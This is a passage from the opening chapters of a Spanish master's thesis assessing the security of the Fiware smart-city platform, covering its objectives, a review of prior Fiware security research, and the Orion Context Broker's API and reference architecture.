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Resumen

Fiware es una plataforma open source impulsada para el desarrollo de soluciones inteligentes.
Este trabajo se focalizé en abordar conceptualmente esta tecnologia, de la cual no se contaba
con experiencia previa, y poder concretar una evaluacién de seguridad desde una perspectiva
ofensiva. En particular, un objetivo especifico fue adoptar la postura de un atacante en la
busqueda de potenciales vulnerabilidades. Dadas las restricciones de tiempo usuales para este
tipo de trabajos de investigacion, el alcance fue acordado y determinado en conjunto con el
Director de la tesis.

El relevamiento de investigaciones de seguridad en Fiware de caracter publico desarrollado en
este trabajo ha puesto de manifiesto la existencia de pocas publicaciones que afronten una
evaluacion de seguridad de sus componentes de forma individual o en su conjunto
interactuando entre si en una arquitectura dada.

Es asi que se consider6 un escenario de estudio referencial donde estuvieran presentes
componentes centrales de una plataforma Fiware. Tomando como entrada los resultados de
antecedentes previos y experimentando con el escenario, se pudieron identificar una serie de
problematicas de seguridad. Se procedio luego al modelado de amenazas del caso de estudio
siguiendo la metodologia de OWASP, obteniendo un conjunto de artefactos interesantes:
descomposicién del caso, diagrama de flujo de datos, modelado STRIDE, andlisis de ataque y
distincion de objetivos de ataque. Se propuso llevar a la practica tres objetivos de ataque
experimentando en el escenario en un entorno controlado local.

En conjunto con la Intendencia de Montevideo (organismo encargado del gobierno del
departamento de Montevideo, ciudad capital de Uruguay), se pudo concretar una propuesta de
analisis exploratorio de seguridad en su plataforma de Ciudades Inteligentes. Para ello se
elaboré un conjunto de preguntas guia que pudieran conducir el analisis preliminar. Esto
permitié poder tener una aproximacion a un despliegue de plataforma Fiware real en la practica
y poder validar y comparar los resultados obtenidos durante el trabajo de investigacion inicial. A
partir de la evaluacién de seguridad, se enumeraron distintos tipos de ataque que podrian
implementarse, finalizando con la construccion de un conjunto de recomendaciones en materia
de componentes, arquitectura y control de acceso.

Palabras claves: Fiware, Orion, loT Agent, modelado de amenazas, STRIDE, vectores de
ataque, seguridad ofensiva.
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1. Introduccion

1.1. Justificacion

Desde hace unos afnos, varias ciudades en el mundo han comenzado a incorporar el concepto
de “Ciudad Inteligente” (Cl) experimentando con prototipos y soluciones tecnolégicas mediante
la implementacién de aplicaciones y servicios en Internet asi como también brindando
mecanismos para la publicacion y comparticion de datos abiertos y una mayor participaciéon
ciudadana.

Luego de la crisis financiera mundial ocurrida en el 2008, la iniciativa de Cl ha tomado un
impulso muy importante en la creacion de modelos de ciudad sustentable, que mejoren la
calidad de vida y seguridad de sus ciudadanos y maximice la eficiencia energética (Lom, Pribyl
y Svitek, 2016, p. 2).

Parafraseando a Garcia et al. (2015), existen varios factores tecnoldgicos que estan
permitiendo esta transformacion orientada hacia un nuevo paradigma sumamente tecnificado
de gestién de servicios, infraestructura y de interaccién de la ciudadania: las plataformas de
nube - Cloud Computing -, el manejo de inmensos volumenes de informacion - Big Data -, la
proliferacion de dispositivos méviles, la ubicuidad de la conexién a Internet y la posibilidad de
intercambios de datos entre dispositivos Internet of Things (loT) conformando sistemas
ciber-fisicos interrelacionados y colaborando entre si.

Las tecnologias mencionadas forman parte de lo que se ha denominado Industria 4.0 o Cuarta
Revolucion Industrial (4RI), un término que refiere a un proceso de innovacion y transformacion
en la produccion industrial con un fuerte énfasis en el uso de tecnologias inteligentes de la
informaciéon y comunicaciéon orientadas a la autonomia, interoperabilidad y sustentabilidad
(Plattform Industrie 4.0, 2020; Lom et.al, 2016, p. 1).

“El término de ClI viene a representar un nuevo modelo de urbanizacién basado en la Industria
4.0 y la aplicacién de nuevas tecnologias [...] con fines de planificacidn, construccion, gestion,
industrializacién integrada, informatizacion, modernizacién y desarrollo sostenible de las
ciudades modernas” (Safiullin et al., 2019, p. 3).

Los resultados de un estudio de investigacion realizado en Espafa (Fundacion IE, 2015, p. 3)
sostienen que “una smart city utiliza la tecnologia para prestar de forma mas eficiente los
servicios urbanos, mejorar la calidad de vida de los ciudadanos y transformar la relacién entre
entidades locales, empresas y ciudadanos, facilitando una nueva forma de vivir la ciudad.”

Asimismo, otros articulos de investigacion sefalan que no existe una unica y absoluta
definicion de Cl (Department for Business, Innovation & Skills, 2013, p. 7). El término no es
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estatico, sino mas bien describe un proceso que la ciudad transita para transformarse en un
lugar mas habitable, inclusivo, innovador, eficiente, que cuide el medio ambiente, entre otros,
siendo capaz de adaptarse con rapidez a nuevos desafios. El foco de atencién esta puesto en
los/as ciudadanos y ciudadanas y es esencial promover y habilitar una mayor participacion
activa de ideas, necesidades y devoluciones acerca de la calidad de los servicios,
infraestructura, movilidad, etc. Una ciudad que empodera a sus ciudadanos/as se vuelve mas
atractiva para vivir, trabajar y visitar.

Un estudio realizado a seis ciudades modelo tuvo como foco comprender “como estan llevando
adelante sus desafios y adaptando sus organizaciones hacia la entrega de servicios digitales a
sus ciudadanos” (Arup, 2013: pp. 1-3; Department for Business, Innovation & Skills, 2013, pp.
35-38). Las ciudades fueron seleccionadas de acuerdo a su extensién geografica vy
diversificacion cultural, disponibilidad y acceso a la informacién y la proliferacién de distintos
tipos de inversiones, enfoques y prioridades. El analisis reveld la existencia de objetivos y
desafios comunes, a pesar de sus distintivos Unicos de ciudad. Areas de interés en la
investigacion: “modelos de gobernanza y liderazgo, el rol de los datos abiertos, proyectos de
ciudades inteligentes en curso, modelos de negocios e inversion, barreras a la implementacion
y futuras prioridades de inversion” (Arup, 2013, p. 3).

En relacién al presente trabajo, es de resaltar algunos puntos alli mencionados:

e Se destaca la importancia que desempenan las universidades en la formaciéon de
profesionales idoneos que lleven adelante los desafios que una Cl propone, asi como
también el asesoramiento experto que pueden brindar a las autoridades de la ciudad en
tefminos de desarrollo de estrategias y evaluacion de impacto para la toma de
decisiones (Department for Business, Innovation & Skills, 2013, p. 17).

e Se resalta el rol de la investigacion académica en el desarrollo de capacidades que
anticipen, promuevan, ponderen y guien futuros progresos (Department for Business,
Innovation & Skills, 2013, pp. 16-17).

Uno de los tantos resultados interesantes del estudio es la enumeracion de potenciales
barreras o limitantes que podrian inhibir o enlentecer la adopcion de un modelo de CI
(Department for Business, Innovation & Skills, 2013, pp. 32-33). Se centrara la atencién
solamente en dos de los puntos mencionados ya que tienen relacién directa con la presente
tesis de investigacion:

e Las ciudades han expresado el temor a quedarse “encerradas” en soluciones de
software propietarias. En la medida que un niumero mayor de componentes y sistemas
son interconectados y las redes se empiezan a expandir, el costo y esfuerzo de
trasladar y migrar los desarrollos a nuevos sistemas se vuelve bastante complejo
(Department for Business, Innovation & Skills, 2013, p. 33). Surge como necesidad la
adopcion de estandares abiertos para asegurar la interoperabilidad, facilitando de esta
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forma la creacion de ecosistemas multi-ciudad y facilitando el traslado de soluciones a
otras ciudades (Garcia et al., 2015).

e En la medida que los sistemas interconectados se incrementan en numero, en pos de
brindar mas servicios personalizados para los/as ciudadanos/as, esto inevitablemente
conlleva a que se requiera contar con una mayor cantidad de datos y que los mismos
sean compartidos entre sistemas. Se resalta la importancia de comunicar de forma clara
y precisa qué tipo de informacion es utilizada y protegida y cémo su uso es en beneficio
de la construccion de una ciudad moderna, mas habitable, eficaz, eficiente e inclusiva.
Se enfatiza la necesidad de construir confianza por parte de la ciudadania en la
privacidad de sus datos y la integridad del sistema, garantizando que la informacion
recolectada, almacenada y transmitida se realiza de forma segura manteniendo la
privacidad de los/as ciudadanos/as (Department for Business, Innovation & Skills, 2013,
p. 33; Lom et.al, 2016, p. 2).

En este sentido, algunos riesgos se ponen de manifiesto como por ejemplo la existencia de
potenciales vulnerabilidades en la plataforma desplegada para Cl que permitan una disrupcion
de los servicios, acceso no autorizado a los datos u otro tipo de acciones malintencionadas.

Fiware es una plataforma de cédigo abierto que surgid en el 2011 de la colaboracién
publico-privada de la Comisién Europea y la Industria Europea con el fin de brindar un
ecosistema de innovacion que habilite la materializacion de ideas y la creacién de aplicaciones
y servicios de nube para multiples propésitos (Garcia et al., 2015). Estas caracteristicas hacen
que resulte de especial interés en el ambito de las Cl, garantizando interoperabilidad entre las
soluciones desarrolladas y posibilitando su instanciamiento en multiples ciudades.

En la presente tesis se propuso abordar al conocimiento de la plataforma Fiware y sus
componentes siguiendo un enfoque metodoldgico en la busqueda de potenciales debilidades.

1.2. Fundamentacion

La tecnologia aplicada al desarrollo de las ciudades pone de manifiesto, por un lado una serie
de retos en términos de seguridad, y por otro, la necesidad de garantias hacia los/as
ciudadanos/as sobre la privacidad de su informacion. Como se sefiala en el plan de estudios de
la Maestria (CPAP, 2014, p. 1): “El surgimiento de la sociedad de la informacion, y con ello el
incremento en el uso de las Tecnologias de la Informacién y las Comunicaciones (TIC), hace
que la informacién y los recursos informaticos que la gestionan tengan un rol principal en las
actividades econémicas, sociales y culturales. Asociado a este crecimiento es también cada
vez mayor la cantidad de amenazas y ataques que se producen a las aplicaciones y recursos
informaticos. Es en este contexto que la informacion se convierte en un recurso critico al que
hay que proteger. La seguridad informatica se vuelve imprescindible como forma de garantizar
la integridad, disponibilidad y confidencialidad de la informacion.”
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Es en este sentido que la plataforma de Cl comienza a visualizarse como un factor decisivo al
que asegurar, y que de su buen funcionamiento dependa la transformacion y desarrollo de las
ciudades para una mejor calidad de vida de sus ciudadanos/as.

1.3. Focalizacion del objeto de investigacion

El objeto de la presente investigacion lo constituye la plataforma Fiware con foco en los
componentes centrales Orion y loT Agent en el marco de una instancia de estudio de una
plataforma tipo.

1.4. Objetivos de la investigacion

El trabajo de tesis presenta un abordaje al entendimiento de la plataforma Fiware y el analisis
de problematicas de seguridad desde la perspectiva de un atacante.

En este sentido, se enumeran una serie de preguntas problema que guiaran el proceso de
investigacion:

e , Existen vulnerabilidades conocidas de la plataforma Fiware?

e ,;Cual es el estado de seguridad de los componentes de Fiware a la fecha? ;Qué
exigencias en términos de seguridad impone la plataforma?

e Es posible establecer un vinculo entre las recomendaciones de implementacion
estandar y el estado de seguridad de la plataforma?

e ; Cudl es la incidencia de no seguir una implementacién estandar de Fiware?

e Es posible desplegar una solucién Fiware insegura?

e ;Existen potenciales debilidades en la implementacion de la solucién Fiware de la
Intendencia de Montevideo (IM)? La IM es la entidad de gobierno encargada del
departamento de Montevideo, ciudad capital de Uruguay.

En base a dichas interrogantes se plantean los siguientes objetivos generales y especificos.

1.4.1. Objetivos generales

1. Investigar potenciales problematicas de seguridad en un caso de estudio de despliegue
de una plataforma de Fiware referencial.
2. Realizar un analisis exploratorio de seguridad de la solucion de Cl desplegada por la IM.
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1.4.2. Objetivos especificos

1. Abordar al conocimiento de la plataforma Fiware centrado en las caracteristicas de
seguridad.

2. ldentificar problematicas de seguridad con foco en los componentes Orion y loT Agenty
sus interacciones.

3. Modelar amenazas en el escenario de estudio planteado y llevar a cabo un analisis de
ataque, identificando y experimentando objetivos de ataque de interés.

4. Realizar un relevamiento de informacion acerca del despliegue de la plataforma de ClI
de la IM.

5. Conducir un analisis preliminar de seguridad en base a la informacién obtenida en el
punto 4.

6. En funcion de los items 4 y 5 identificar diferentes tipos de ataque que se podrian
implementar en la plataforma de Cl de la IM.

7. Proporcionar un conjunto de recomendaciones que resulten de valor para la IM.

8. Contrastar resultados obtenidos en el caso de estudio y la plataforma real de la IM.

1.5. Metodologia

Para llevar adelante los objetivos especificos 1 y 2 se realiz6 una revision de papers de
investigacion previos, articulos técnicos y documentacién oficial sobre la plataforma Fiware. Se
procuroé identificar y entender los desafios y problematicas de seguridad en componentes de
Fiware y en el despliegue de arquitecturas en los diferentes escenarios reales descritos en la
bibliografia. Asimismo, fue importante experimentar de forma local con diferentes arquitecturas
de despliegue de ejemplo de Fiware e interactuar con los componentes en una realidad de
contexto ficticia de forma de tener un mejor entendimiento y visién global. Ademas, entendi
necesario indagar las implementaciones de los componentes Orion y IoT Agent que estan
disponibles publicas a fin de contar con otros elementos de utilidad para el analisis.

Para realizar el objetivo 3 se considerd un escenario de ejemplo proporcionado por Fiware el
cual estd compuesto por los componentes Orion y loT Agent. El modelado de amenazas se
trabajo utilizando la metodologia STRIDE (Microsoft Security, 2007). Se procedid a
descomponer el caso de estudio desde la perspectiva de un atacante y generar un diagrama de
flujos de datos. Se identificaron varios objetivos de ataque logrando implementar algunos de
ellos que afectan a activos que entendemos criticos en el escenario.

Para ejecutar los objetivos 4-8 se trabajé de forma coordinada con los equipos de Seguridad de
la Informacién y Plataforma de CI de la IM. Se procedi6 a formular una serie de preguntas guia
que permitieron efectuar un analisis exploratorio de seguridad de la plataforma de Clde laIM y
posteriormente identificar posibles vectores de ataque. En base a la evaluacién preliminar se
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escribieron un conjunto de recomendaciones a nivel de componentes y arquitectura.

1.6. Contribuciones

Esta tesis genero el siguiente conjunto de aportes:

e Un relevamiento exhaustivo de antecedentes de investigaciones en seguridad sobre
Fiware publicadas a la fecha. Este resultado ofrece una visién de los esfuerzos y rutas
de analisis consideradas hasta el momento, haciendo notar que no existen muchos
trabajos con foco en seguridad.

e Un estudio pormenorizado del stack de seguridad proporcionado por Fiware, explicando
los niveles de seguridad alcanzables, qué propiedades se ven aseguradas en cada
nivel, restricciones en el modelo y una discusion de otras propiedades de seguridad
interesantes.

e La identificacion de problematicas de seguridad en los componentes Orion y loT Agent
constituye una de las contribuciones mas interesantes del trabajo.

e Desde un punto de vista ofensivo, se describe el proceso de modelado de amenazas
STRIDE en un escenario de ejemplo siguiendo la metodologia de OWASP. El enfoque
dado puede servir como referencia para modelar casos mas complejos.

e Se logra materializar en pruebas de concepto efectivas, tres objetivos de ataque para el
escenario de estudio. Se brinda el detalle paso a paso seguido para conseguirlos, qué
decisiones fueron tenidas en cuenta y una discusion de condicionantes o
pre-condiciones necesarias.

e Acercamiento a una plataforma de Fiware real en funcionamiento y productiva - la
plataforma de Cl de la IM -, lo que permitié6 validar y contrastar de una manera
“exploratoria” el trabajo de investigacion efectuado en el caso de estudio. Surgieron
puntos de analisis caracteristicos, la distincién de diferentes tipos de ataque que se
podrian implementar y un conjunto de recomendaciones a nivel de componentes y
control de acceso.
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La presente tesis esta organizada de la siguiente forma:
e El capitulo 2 describe un conjunto de trabajos previos relacionados con Fiware.
e El capitulo 3 introduce el estado del arte donde en primer lugar se detalle la plataforma
Fiware (componentes, arquitecturas tipicas y modelo de seguridad) y luego se
especifican las principales amenazas en CI.

e El capitulo 4 presenta el trabajo de investigacion realizado en un escenario de estudio.

e El capitulo 5 expone el analisis preliminar de seguridad llevado a cabo en la plataforma
de Cl de la IM.

e EIl capitulo 6 describe las conclusiones y reflexiona sobre posibles oportunidades de
trabajo a futuro.
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2. Antecedentes y trabajos relacionados

Se llevé adelante un proceso de indagacién de investigaciones de seguridad en Fiware en
publicaciones cientificas, papers, articulos, revistas y busquedas online de caracter publico con
el objeto de averiguar y concentrar la mayor cantidad de informacién posible de proyectos y
esfuerzos realizados a la fecha. Se consideraron multiples fuentes de origen siendo las
principales Foco-Timbé', Colibri? y TEEExplore®. A continuacién se enumeran y describen en
alto nivel los trabajos de seguridad relacionados con la plataforma Fiware que pudieron
recabarse a lo largo de este proceso.

Durante un evento de hackathon (Santander hackathon, 2013), fue reportado un bug de race
condition en el componente Orion Context Broker que provocaba el envio de notificaciones a un
endpoint distinto al esperado. Dicho fallo fue solucionado en 2014 por el equipo de Fiware.

Fazio et al. (2015) utilizan Fiware como plataforma base en el despliegue de una solucion de
monitoreo de pacientes de forma remota, donde su principal contribucion se centra en aspectos
arquitecténicos y de disefio de la misma utilizando componentes de Fiware denominados
Generic Enablers (GE) que facilitan la comunicacion con diferentes dispositivos IoT e interfaces
de interaccion con los usuarios. Si bien el estudio se centra en aspectos funcionales, resalta la
importancia de la seguridad, en particular la confidencialidad de la informacion. Describe
brevemente la capa de seguridad implementada compuesta por tres componentes: Identity
Management GE (IdM) que provee mecanismos de autenticacion, Policy Enforcement Point
(PEP) responsable del control de acceso a los recursos en la plataforma y Policy Decision Point
(PDP) que interactua de forma directa con el IdM y PEP para brindar una decision de
autorizacion (permitir o denegar). Cada uno de estos componentes tiene su implementacion de
referencia en Fiware.

En estudios posteriores realizados por Barreto et al. (2015, setiembre), se presenta un modelo
de autenticacion genérico para plataformas loT en la nube y describen el proceso de
autenticacion en algunos escenarios en donde intervienen varios actores y componentes.
Finalmente, describen la aplicacion del modelo propuesto para el caso de Fiware y aspectos,
desafios y problemas a tener en cuenta en su desarrollo. En particular, hacen hincapié en que
las implementaciones de referencia KeyRock, Wilma y AuthZForce de los componentes IdM,
PEP y PDP respectivamente, abordan de manera adecuada los requerimientos de
autenticacion Single Sign On (SSO), identificando limitantes y desafios a resolver del lado de
los dispositivos IoT.

! https://foco.timbo.org.uy
2 https://www.colibri.udelar.edu.uy
3 https://ieeexplore.ieee.org/
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A finales de (DefCamp, 2015) se presentd un desafio de seguridad por parte de Fiware en la
conferencia DefCamp que propuso a los participantes identificar posibles vulnerabilidades en el
componente Orion Context Broker. No fue posible encontrar informacién publica respecto a las
vulnerabilidades encontradas durante el evento, si bien hubo premio y ganador.

(Oliveira et al., 2018) plantean que Fiware a pesar de ser una plataforma robusta, algunos de
sus componentes tienen muy pocos 0 ningun mecanismo de seguridad desarrollados. En
particular resaltan algunas fallas de disefio de la implementacion del modelo IDAS 5 en loT
Agent; en especial la ausencia de control de acceso en ciertas operaciones y carencia de
soporte de encriptado de comunicaciones NGSI para algunas implementaciones loT Agent. El
estudio tuvo como objetivo realizar un analisis de seguridad en términos de control de acceso y
confidencialidad y en base a los resultados obtenidos contribuir con la implementacion de
mecanismos de seguridad que permitan resolver los problemas encontrados. IDAS es la
implementacién de referencia de Fiware del componente Backend Device Management GE
utilizado usualmente en la mayoria de los escenarios en la arquitectura IoT (Proyecto Fimac,
2016).

Un proyecto de tesis de grado llevado a cabo por estudiantes de Facultad de Ingenieria —
UdelaR (Arriola y Wynants, 2018) tuvo como objetivo un relevamiento de arquitecturas para
desarrollo de aplicaciones de IoT. En particular desarrollan el estado del arte de Fiware y si bien
los aspectos de seguridad no fueron el foco de investigacion, dos resultados generales que
surgen de este trabajo es que la plataforma por defecto no exige autenticacion ni
confidencialidad, pero se pueden incorporar otros GE para manejar estos aspectos.

Por otra parte, (Salhofer, 2018, pp. 3-9) presenta un analisis y evaluacion minucioso de los
componentes de Fiware desde una perspectiva de desarrollo de una aplicacidn inteligente
piloto. El estudio visibiliza la complejidad de la plataforma y falta de documentacion actualizada,
lo que conlleva a demandar un tiempo considerable en su aprendizaje y entendimiento. En
relacién a los aspectos de seguridad, surgen resultados interesantes como ser algunos bugs de
severidad alta y fallas de disefio. En particular se centran en tres puntos. El primero de ellos es
una propiedad denominada “servicepath” que su intencién es brindar capacidades avanzadas
de clasificacién de datos en el contexto de la aplicacion. El segundo punto es asociado al
componente Proactive Technology Online (Proton), referencia de implementacion del GE
Complex Event Processing (CEP) con el fin de brindar capacidades de procesamiento de
eventos complejos. El tercer punto es en relacion al componente de autenticacion IdM, en
particular la interfaz web asociada. Por ultimo, se resalta el hecho que los componentes de IdM,
PEP y PDP permiten una interaccién de forma segura con aplicaciones externas y otros
servicios. Sin embargo el Context Broker, una vez que el mismo ha sido puesto en
funcionamiento, no existen restricciones en el uso de la APl REST.

(Salhofer, Buchsbaum y Janusch, 2019, pp.3-5) conducen un proyecto de construccién de una
plataforma de CI utilizando el stack de componentes de Fiware para ingesta de informacion de
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medidas de sensores, datos de contexto, almacenamiento y lectura de informacién historica,
visualizacién de datos en dashboards, autenticacion y autorizacién hacia aplicaciones externas
y sensores loT. En términos de seguridad resalta puntos de implementacion muy interesantes:
(a) utilizacion de PEPs independientes para distintos microservicios, (b) creacion de cuentas de
usuario comun para sensores de forma de poder habilitar autorizacién (c) separacion légica de
usuarios de aplicacién y usuarios sensores, (d) controles estrictos de autorizacion que
impedirian a un sensor impersonar otra identidad si sus credenciales se vieran comprometidas.

Dos grupos de investigadores de diferentes universidades europeas (Suciu et al., 2020, pp. 3-4;
Munoz et al., 2020, pp. 3-11), presentan la implementacion de componentes de autorizacién
basados en Fiware, integrando AuthZForce y KeyRock. Si bien cada proyecto pone foco en
aspectos de funcionalidad y orientados a un caso de uso particular — en un caso una red
eléctrica inteligente y en otro el uso compartido y autorizado de datos en ecosistemas
industriales —, describen a alto nivel la definicion de politicas XACML para el control de acceso
basado en roles.

(Salhofer y Detzner, 2020, p. 7) presentan un analisis donde indica que Fiware solo soporta
autenticacion pero no autorizacion para dispositivos 10T, por lo que credenciales de un sensor
comprometidas podrian ser utilizadas para simular medidas provenientes de otros sensores.
Por otro lado, menciona problematicas de seguridad en el modelo multi-tenancy que podria
permitir realizar modificaciones no autorizadas en otro tenant. La investigacion finaliza con
propuestas de resolucién interesantes.

Asimismo, un proyecto de tesis de grado llevado a cabo por estudiantes de Facultad de
Ingenieria — UdelaR (Passaro y Pacheco, 2020, pp. 23-48) realizan un modelado de amenazas
para LoRaWAN en el contexto de Cl trabajando de forma directa con la IM. El foco del trabajo
estuvo centrado en la tecnologia LoRaWAN obteniéndose resultados muy interesantes desde la
perspectiva de un atacante asi como la metodologia de modelado de amenazas llevada a cabo
en todo el proceso.

Adicionalmente, tres estudiantes de Facultad de Ingenieria — UdelaR (Abella, Machado y
Susviela, 2021, pp. 9-32, 37-48), llevan a término un proyecto de grado en donde trabajan de
forma conjunta con la IM en la elaboracién de propuestas de aplicacion de tecnologias
geoespaciales en smart cities utilizando la plataforma Fiware. Se destaca el detalle y
granularidad del marco conceptual presentado en relacion a Fiware ya que brinda una base
sélida de conocimiento en el entendimiento de la misma, complementando a la documentacion
oficial.

En relacion a otros estudios que han abordado la tematica de seguridad desde una perspectiva
general en CI, sin entrar en los detalles de las implementaciones especificas, es de interés
comentar algunos de sus resultados.
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(llaz et al., 2016, pp. 5-11) y (Lee, Kim y Seo, 2019, pp. 2-5) realizan un analisis global de
amenazas de seguridad en Cl desde el punto de vista de los dispositivos, sistemas y redes de
comunicacion, para luego presentar posibles escenarios de ataque. Vale la pena enumerar
algunas amenazas que tienen relacion con la plataforma de ClI:

Accesos no autorizados

Bypass de controles de autorizacién
Spoofing de identidad

Ataques man-in-the-middle (MiTM)
Analisis de trafico

Escucha de comunicaciones
Replay o delay de mensajes
Alteracion y falsificacion de mensajes
Software desactualizado

Ataque de protocolos

Interferencia de sefiales

Jamming

Por otra parte, (Zhou et al., 2018, pp. 2-9) publican un estudio muy interesante en el cual
describen los efectos de los problemas de seguridad y privacidad en loT desde una perspectiva
distinta con una mirada a las “caracteristicas” de los dispositivos loT. Identifican ocho
caracteristicas: interdependencia, diversidad, restricciones, miriada, autonomia, privacidad,
movilidad y ubicuidad. llustran en un analisis detallado la tendencia de las investigaciones en
seguridad loT y ponen de manifiesto cdmo las caracteristicas |oT influyen en las
investigaciones existentes realizando una exploracion de los trabajos realizados en seguridad
IoT en el periodo 2013-2017. En la Figura 1 se puede visualizar el numero de publicaciones en
ese periodo asociadas a las amenazas en loT segun el OWASP Top 10 2014 (OWASP Internet
of Things Project, 2014), pudiendo observar que las dos grandes categorias de investigacion
predominantes estan relacionadas con protocolos de comunicacion inseguros y fugas de
privacidad. La categoria que ha recibido un nimero menor de publicaciones es la relacionada a
las plataformas y servicios en la nube.
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Figura 1 — Numero de papers agrupados por categorias de amenazas loT en diferentes escenarios de aplicacion
(Zhou et al., 2018, p. 8)

Finalmente, los investigadores (Zhou et al., 2018, p. 8) presentan un analisis estadistico (Figura
2) en el cual se enfatizan algunos datos de interés:

e A comienzos de 2010 la adopcion en mayor medida de tecnologias “smart grid” y “smart
manufacturing” trajo como consecuencia que un nimero mayor de investigaciones se
realizaran en este ambito.

e Desde 2014 con el desarrollo de “smart home” y “smart healthcare”, se incrementaron
los estudios en estas areas, mientras que los estudios de “smart grid” y “smart
manufacturing” disminuyeron en el mismo periodo.

0.4

0.3

0.2 /

0.1 //

before 2014 2014 2015 2016 2017
==—Smart Home ——Smart Hearlthcare
Smart Grid and Manufacturing Intelligent Vehicles

Figura 2 — Numero de papers en diferentes escenarios de aplicacion agrupados por afio (Zhou et al., 2018, p. 8)
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Concluyendo, el estudio resalta que el analisis basado en las caracteristicas de loT puede ser
de utilidad para identificar la tendencia de los esfuerzos de investigacién en seguridad en loT y
alentar a seguir nuevas lineas de investigacion en la identificacion temprana de problemas de
seguridad (Zhou et al., 2018, pp. 9).

Por otro lado, en relacién a la presente tesis de investigacion y haciendo referencia a los datos
estadisticos del estudio anterior, es importante sefalar que durante el relevamiento de
antecedentes, se observoé un numero muy grande de estudios referentes a la seguridad de
diversos protocolos de comunicacion de la familia low-power wide-area network (LPWAN)
utilizados en plataformas inteligentes. Dado que su estudio queda por fuera del alcance de este
trabajo, no son mencionados.

Finalmente, otro aspecto interesante a resaltar es que se observdé un gran numero de
publicaciones de investigacion referentes a Fiware, la gran mayoria evaluando la plataforma
para casos de uso particulares, describiendo sus componentes a nivel funcional o estudiando la
factibilidad de la migracion hacia esta plataforma. No obstante, se pudieron obtener
relativamente pocos papers que realicen una evaluacion parcial o completa desde el punto de
vista de seguridad de sus componentes. Esto plantea una oportunidad importante para este
trabajo a fin de ser un instrumento que colabore a esta necesidad.
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3. Estado del arte

En este capitulo se describe la plataforma Fiware y sus componentes, introduciendo los
conceptos que constituyen la base estructural tedrica del trabajo de investigacion. Se hace
hincapié en sus caracteristicas, presentando en primera instancia la arquitectura general tipica
de una plataforma Fiware y posteriormente la arquitectura referencial para CI.

Asimismo, se explica el modelo de seguridad de Fiware describiendo las nociones de gestion
de identidad y los 3 niveles de control de acceso posibles. Por cada nivel se analiza qué
propiedades de seguridad son aseguradas. Ademas, se estudian y presentan otras
propiedades de seguridad de relevancia y restricciones en el modelo de control de acceso.

Finalmente, se enumeran y detallan las principales amenazas de seguridad en ClI.

3.1. Arquitectura de la plataforma Fiware
3.1.1. Introduccion

La definicion de "contexto" de una entidad en Fiware se refiere al estado de un objeto fisico o
conceptual que existe en el mundo real (Fox, 2019, marzo 20, p. 9). Por ejemplo, una entidad
podria ser una habitacion e interesa contar con la informacién relativa a propiedades de
temperatura y presién. Para ello, la habitacién cuenta con sensores que proporcionan medidas
de sensado en tiempo real; dichas propiedades se traducen a atributos de la entidad. El
contexto de la entidad “Habitacion1” esta representado por el valor de dichas propiedades en
un instante de tiempo (Fiware Orion, 2022, capitulo Context Management).

Fiware provee medios para producir, obtener, publicar y consumir informacion de contexto.

El componente de Fiware Orion Context Broker NGSI (Next Generation Service Interface)
APIv2 (Fiware NGSI-v2, 2018) es una implementacion de la especificacion OMA-NGSI 9/10
(Open Mobile Alliance, 2012), la cual especifica una API estandar para manejo de informacién
de contexto. Define las siguientes caracteristicas (Marquez y Zangelin, 2016, mayo 31, pp.
9-10):

e Un modelo de datos para informacion de contexto, basado en un modelo simple en
torno al concepto de entidades de contexto.

e Una interfaz de datos de contexto para el intercambio de informacién de las

entidades, en base a operaciones de creacion, consulta, actualizacién, eliminacion,
suscripcion de entidades y sus atributos.
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e Una interfaz de disponibilizacion de contexto para el intercambio de informacion
relativa a como se obtiene la informacion de contexto, a través de proveedores de
origen externos.

La interfaz NGSI APIv2 o NGSI-v2 proporcionada por Orion Context Broker es una API
RESTful. Mediante solicitudes HTTP es posible crear, ver, modificar y eliminar entidades y
atributos relacionados con dichas entidades. Asimismo, proporciona capacidades para
listar, registrar, actualizar y eliminar proveedores de contexto de origen externo, asi como
también listar, crear, actualizar y eliminar suscripciones ante cambios de contexto.

A las operaciones anteriores comunmente se las refiere con el acronimo CRUD (Create, Read,
Update, Delete). Existen convenciones estandares en el mapeo de operaciones CRUD con
verbos HTTP. Como ejemplo, se listan a continuacion las operaciones CRUD para entidades y
atributos de las entidades (Fiware CRUD Operations, 2022).

HTTP /v2/entiti /v2/entities/<entity-id:
< z
Verb vZ/entities vZ/entitlies/<entity-1id>
CREATE or UPDATE an attribute of a specified
POST CREATE a new entity and add to the context. enity P
READ entity data from the context. This will READ entity data from a specified entity. This will
GET return data from multiple entities. The data can return data from a single entity only. The data can
be filtered. be filtered.

PUT X X
PATCH X X
DELETE b4 DELETE an entity from the context

Figura 3 — Operaciones CRUD entidades en Orion Context Broker
(Fiware CRUD Operations, 2022, Entity CRUD Operations)

HTTP

.../attrs .../attrs/<attribute> .../attrs/<attribute>/value
Verb
POST X b 4 b 4
READ the value of an attribute from a
GET b 4 b 4 specified entity. This will return a
single field.
PUT x x UPDATE the value of single attribute

from a specified entity.

UPDATE one or more
PATCH existing attributes from an b 4 X
existing entity.

DELETE an existing
DELETE. X attribute from an existing X
entity.

Figura 4 — Operaciones CRUD en atributos de entidades en Orion Context Broker
(Fiware CRUD Operations, 2022, Attribute CRUD Operations)
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3.1.2. Arquitectura general tipica

Core Context

Management
(Context Broker)

Deployment tools

Data/API Management
Publication Monetization

Interface to
loT, Robotics and third party
systems

Figura 5: Diagrama general de arquitectura Fiware (Fox, 2019, marzo 27, p. 21)

Una arquitectura Fiware tipica consta de los siguientes componentes (Fox, 2019, marzo 27, p.

21):

Core Context Management, representado por Orion Context Broker y es el Unico
componente mandatorio de cualquier plataforma "Powered-by-Fiware". Es el
encargado de la administracion del ciclo de vida de la informacion de contexto.

Interfaz de comunicacion con dispositivos loT, capaz de recibir actualizaciones de
informacion de contexto y accionar cambios en actuadores.

Herramientas para procesamiento, visualizacion y anadlisis de informaciéon de
contexto, permite demostrar el correcto funcionamiento de la soluciéon inteligente y

asistir en la toma de decisiones.

Herramientas para publicacion de datos abiertos y eventualmente su
monetizacion.

Herramientas para despliegue: los componentes de Fiware son desplegados como
microservicios, se proporcionan imagenes docker y recetas de ejecucion.
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3.1.3. Arquitectura referencial para ciudades inteligentes

Smart City Governance Systems Open Data Portal
(supporting ’
Right-time Datasets)

.,
e

Loy
‘e’

Open APIs
Vertical solutions

Figura 6: Arquitectura referencial para Cl Fiware (Fox, 2019, marzo 27, p. 43)

De forma expandida a la Figura 5 se observa en la parte central que la informacién de contexto
es manejada por Orion Context Broker, hacia el sur se brindan componentes de interaccién con
